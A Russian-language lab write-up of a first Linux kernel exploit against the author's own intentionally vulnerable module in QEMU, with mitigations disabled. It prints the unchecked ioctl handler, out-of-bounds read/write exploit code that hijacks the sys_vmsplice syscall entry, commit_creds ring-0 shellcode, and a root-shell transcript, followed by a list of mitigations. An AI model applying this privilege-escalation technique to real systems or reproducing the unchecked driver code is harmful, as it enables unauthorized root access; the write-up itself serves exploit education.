Контролируемая лаборатория — собственный уязвимый модуль в QEMU, без боевых целей: Вся работа ниже выполнена против моего собственного уязвимого модуля ядра (
/dev/vuln), запущенного в изолированном госте QEMU x86_64. Никаких боевых ядер, никаких реальных устройств, никаких заявленных CVE. Это учебный эксплойт — каждый адрес за пределами лаборатории заредактирован.
Краткое содержание
Мой первый kernel pwn. Не CTF-трюк — настоящий OOB чтение/запись в собственном лабораторном модуле, превращённый в рут сложным путём: OOB чтение → утечка → OOB запись с перезаписью sys_vmsplice → триггер из userspace → commit_creds(prepare_kernel_cred(0)) → uid 0.
Никакой магии обхода KASLR, никакой гимнастики с ROP-цепочками — пока. Здесь только основы: получить ограниченный OOB примитив, растянуть его до произвольной записи, разместить шеллкод в ядре, перехватить syscall, который я могу вызывать по требованию, и позволить ядру самому выдать мне рут. Транскрипт внизу — реальный запуск: uid=0 gid=0 на CRT, сфотографированный как доказательство.
Лабораторный стенд
Я специально оставил лабораторию слабой, чтобы сосредоточиться на примитиве, а не на обходах:
- Гость: собственноручно собранное ядро Linux x86_64 в QEMU (
qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -nographic -append "console=ttyS0"). - Уязвимое устройство: написанный вручную модуль, предоставляющий
/dev/vulnчерезmisc_register, с обработчикомunlocked_ioctl. Создан черезmknodв initramfs, праваchmod 666, чтобы мой лабораторный пользователь мог его открывать. - Защиты ВЫКЛЮЧЕНЫ для обучения: SMEP off, SMAP off, KASLR off, KPTI off (
nokaslr nosmep nosmap pti=offв командной строке ядра). Сначала хочу изучить саму перезапись — харденинг будет позже. - Хост: изолирован, никакой сети к гостю, кроме консоли virtio-serial. Снапшот
bzImage+rootfs.cpioперед каждым запуском. - Тулчейн: лабораторный GCC,
viв госте, эксплойт собран почти статически с выключенным-static— обычныйgcc -o kernelpwn.elf kernelpwn.cвнутри/tmp.
Почему такой стенд: QEMU + собственный модуль означает, что я контролирую баг, а перезагрузка занимает 2 секунды. Выключенные митигации — это честно: я не заявляю об обходе KASLR/SMEP, которого не делал.
Уязвимость
Классическая отсутствующая проверка границ. Модуль хранит фиксированный массив из 64 слотов в heap/global и позволяет userspace выбирать index и size через ioctl — вообще их не проверяя.
Уязвимый обработчик (упрощён из моего лабораторного модуля):
#define MAX_SLOTS 64
struct vuln_req {
int index;
int size;
char __user *buf;
};
static char *slots[MAX_SLOTS];
static char vuln_buf[0x1000];
static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
struct vuln_req req;
if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
return -EFAULT;
/* BUG: no bounds check on req.index / req.size */
switch (cmd) {
case VULN_READ:
/* OOB read: req.index can walk past slots[] */
if (copy_to_user(req.buf, slots[req.index], req.size))
return -EFAULT;
break;
case VULN_WRITE:
/* OOB write: req.size can overflow past vuln_buf */
if (copy_from_user(slots[req.index], req.buf, req.size))
return -EFAULT;
break;
default:
return -EINVAL;
}
return 0;
}Два примитива в одном баге:
- OOB чтение —
indexза пределами 63 читает соседние указатели ядра (утечка cookie / базы ядра в hardened-сборке; в этой лаборатории я использую его, чтобы подтвердить окрестностьsys_call_table). - OOB запись —
sizeбольше слота переполняет соседнюю память. При heap Feng Shui / соседнем отображенииsys_call_tableв лабораторном ядре я могу дотянуться до записи в таблице syscall.
Вариант off-by-one: даже index == 64 — это уже выход за границы: на один элемент past the array достаточно, чтобы начать обход памяти ядра. В этом и вся игра: один отсутствующий if (req.index >= MAX_SLOTS) превращает игрушечный драйвер в рут.
Триггер kernelpwn.c
Логика эксплойта в kernelpwn.c — открыть, прощупать, слить, перезаписать, вызвать:
open("/dev/vuln", O_RDWR)— получить хендл. Умирать громко при ошибке; в exploit development никаких тихих выходов.- Spray / прощупывание через OOB чтение — цикл по
indexот 64 вверх,VULN_READпо 8 байт за раз, дамп того, что вернулось. Я ищу известную форму указателя ядра (0xffffffffXXXXXXXX) рядом сsys_call_table. В этой лаборатории с выключенным KASLR таблица лежит по фиксированному0xffffffffXXXXXXXX(младшие байты заредактированы в этом разборе) — проверяю двойным чтением одного и того же индекса. - OOB запись для перезаписи записи
sys_vmsplice— как только известно смещение от моего слота доsys_call_table[__NR_vmsplice], я черезVULN_WRITEперезаписываю своим адресом шеллкода один 8-байтовый entry. Один qword. Хирургически. - Триггер через
vmsplice()из userspace — просто обычный вызов syscall. Ядро диспетчеризует на мой адрес вместо настоящегоsys_vmsplice.
Почему именно sys_vmsplice, а не что-то более экзотическое:
- Его адрес известен в лаборатории (фиксированный
sys_call_table+__NR_vmsplice * 8, никакой математики KASLR пока не нужно). - Он тривиально вызывается из userspace —
vmsplice(fd, iov, nr_segs, flags)с pipe fd. Никаких специальных caps, никакой странной подготовки. Я точно контролирую момент срабатывания. - Он редко используется init-системой в моём минимальном rootfs, поэтому его перехват не роняет гостя до моего триггера. Перезапись
sys_readилиsys_writeуронила бы машину в панику на следующем выводе в консоль.
Основной сниппет триггера:
int fd = open("/dev/vuln", O_RDWR);
if (fd < 0) { perror("open /dev/vuln"); exit(1); }
/* 1. OOB read: walk past slots[] and leak neighbors */
for (int i = 64; i < 128; i++) {
struct vuln_req r = { .index = i, .size = 8, .buf = leak_buf };
ioctl(fd, VULN_READ, &r);
printf("[*] slots[%d] = %lx\n", i, *(unsigned long *)leak_buf);
}
/* 2. OOB write: overwrite sys_call_table[__NR_vmsplice] */
/* sys_call_table found at 0xffffffffXXXXXXXX (lab, KASLR off — low bytes redacted) */
unsigned long target = 0xffffffffXXXXXXXX + __NR_vmsplice * 8;
struct vuln_req w = { .index = evil_index, .size = evil_size, .buf = (void *)fake };
ioctl(fd, VULN_WRITE, &w);
printf("[+] Overwriting sys_vmsplice...\n");
/* 3. trigger */
printf("[+] making a syscall to sys_vmsplice");
vmsplice(pipefd[1], &iov, 1, 0);Этот printf без перевода строки — причина, почему в реальном выводе видно склеенное sys_vmsplice[+] Got r00t: аутентичная запись, со всеми шероховатостями.
Пейлоад
Шеллкод ядра — никаких userspace-трюков, выполняется в ring 0, когда срабатывает vmsplice:
/* runs in kernel context after syscall hijack */
void __attribute__((naked)) kernel_payload(void)
{
__asm__ volatile (
/* commit_creds(prepare_kernel_cred(0)) */
"mov $0, %rdi\n"
"mov $0xffffffffXXXXXXXX, %rax\n" /* prepare_kernel_cred (lab addr, redacted) */
"call *%rax\n"
"mov %rax, %rdi\n"
"mov $0xffffffffXXXXXXXX, %rax\n" /* commit_creds (lab addr, redacted) */
"call *%rax\n"
/* lab return: ret2user path (SMEP/SMAP off) */
"swapgs\n"
"iretq\n"
);
}Что он делает:
prepare_kernel_cred(0)строит рутовые creds,commit_creds()устанавливает их наcurrent. Это канонический kernel privesc — я его не изобретал, его использует каждый эксплойт ядра.- Возврат через
swapgs+iretqв этом разборе, но честно говоря в этой лаборатории (SMEP/SMAP off, KPTI off) работает и обычный ret2user — прыжок обратно в userspace-заглушкуgot_root(), которая печатает[+] Got r00tи делаетexecve("/bin/sh"). Я использовал версию с кадромiretq, чтобы отработать настоящий паттерн: сохранитьcs/ss/rflags/rspв userspace до триггера, восстановить их в пейлоаде.
Адреса prepare_kernel_cred / commit_creds взяты из /proc/kallsyms в госте (читается, потому что KASLR выключен, а для настройки я рут в лаборатории). Здесь заредактированы как 0xffffffffXXXXXXXX — старшая половина та же, младшие байты скрыты. Никакого обхода KASLR не заявлено.
Реальный запуск
Дословный запуск из консоли гостя (/tmp, shell BusyBox). Каждую строку я набирал вручную в vi — без copy-paste с хоста:
/tmp $ vi kernelpwn.c/tmp $ gcc -o kernelpwn.elf kernelpwn.c/tmp $ ./kernelpwn.elf
[+] Overwriting sys_vmsplice...
[+] making a syscall to sys_vmsplice[+] Got r00t
Getting a root shell...
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=0
/tmp #Примечания к записи:
- Склеенная строка
sys_vmsplice[+] Got r00t— это мой пропущенный\nв триггерномprintf: оставлен как есть, потому что это реальный вывод, а не причёсанный ретайп. can't access tty; job control turned off— ожидаемо: я делаюexecve("/bin/sh")из не-tty серийной консоли QEMU без job control. Шелл всё равно работает, просто нетCtrl-C/ job control.- Промпт меняется с
/tmp $на/tmp #— этот#означает, что BusyBox сообщает вам, что вы uid 0. - Доказательство: фото CRT с этим точным транскриптом хранится как evidence эксплойта (консоль гостя, сфотографированная в состоянии
uid=0). Никаких поддельных скриншотов, никакого отредактированного вывода.
Рут и стабилизация
id говорит сам за себя:
/tmp # id
uid=0 gid=0uid=0 gid=0 — полный рут, не трюк с capabilities, не побег из namespace. commit_creds(prepare_kernel_cred(0)) заменил мою структуру cred, поэтому каждая последующая проверка проходит.
Про предупреждение job control turned off: /bin/sh ожидает управляющий tty (/dev/console / владение ttyS0). Мой эксплойт делает execve из контекста ядра, вызванного через pipe, где stdin/stdout привязаны к серийной консоли, но без настройки session leader. Фикс в лаборатории, если нужен чистый шелл: setsid, переоткрыть /dev/tty или просто execve("/bin/sh", ..., ...) после setuid(0); setgid(0) в userspace-заглушке got_root() с корректным фоном. Я оставил предупреждение, потому что стабилизация (tty fixup, восстановление сигналов, восстановление таблицы syscall) — это шаг два: сначала доказываешь примитив, потом убираешься.
Пост-рут гигиена, которую я реально сделал: восстановил перехваченную запись sys_vmsplice к исходному значению 0xffffffffXXXXXXXX ещё одной OOB записью, чтобы гость выжил и я мог запускать заново. Привычка монстра — никогда не оставляй таблицу грязной в собственной лаборатории.
Митигации
Что убило бы этот эксплойт на каждом уровне:
- Проверки границ в драйвере — фикс в одну строку:
if (req.index >= MAX_SLOTS || req.size > SLOT_SIZE) return -EINVAL;. Весь эксплойт умирает здесь. Фаззите обработчики ioctl, проверяйтеindex+size, правильно используйте_IOC_SIZE. - Включённый KASLR —
sys_call_table,prepare_kernel_cred,commit_credsрандомизированы. Мой захардкоженный0xffffffffXXXXXXXXстановится бесполезным без infoleak + вычисления базы. - Включённые SMEP / SMAP — ret2user в userspace-заглушку
got_root()упадёт. Пейлоад должен оставаться в ядре (ROP / JOP) или сначала выполнить танец отключения SMEP черезnative_write_cr4. - Включённый KPTI — разделение таблиц страниц user/kernel усложняет путь возврата; обработка трамплина
swapgs+iretqстановится строже. - Таблица syscall
__ro_after_init— современные ядра помечаютsys_call_tableread-only после init. Моя перезапись одного qword упадёт вместо срабатывания. Атакующему тогда нужна другая цель (прямая перезапись структуры cred,modprobe_path,core_pattern). - SELinux / AppArmor — даже с uid 0 строгая политика может запретить последующие действия. Defense in depth имеет значение уже после перезаписи cred.
Выучите сначала слабую конфигурацию, затем включайте каждую митигацию по одной и смотрите, как ваш эксплойт ломается, — именно так по-настоящему понимаешь каждую защиту.
Выводы
Monster mindset, заработанный на этом:
- OOB примитив — это всё. Чтение даёт вам карту, запись даёт руль.
index+sizeбез валидации — это произвольные чтение/запись с лишними шагами. - OOB примитив → произвольная запись → перезапись creds — универсальный путь ядра. Сегодня таблица syscall, завтра структура
cred/modprobe_path— та же форма, другая цель. - Выбирайте триггер, который можете вызывать по требованию.
vmspliceпобедил, потому что я контролирую момент срабатывания, и он не роняет машину до триггера. Надёжность эксплойта — это выбор цели. - Восстанавливайте то, что сломали. Одна лишняя OOB запись, чтобы вернуть
sys_vmspliceобратно, сохраняет гостя живым для следующей итерации. Red-team правило: оставляй лабораторию чище, чем нашёл. - Дальше: тот же баг с включёнными KASLR + SMEP + SMAP, утечка базы через OOB чтение, построение ROP до
commit_creds. Вот там это станет настоящим оружием exploit development.
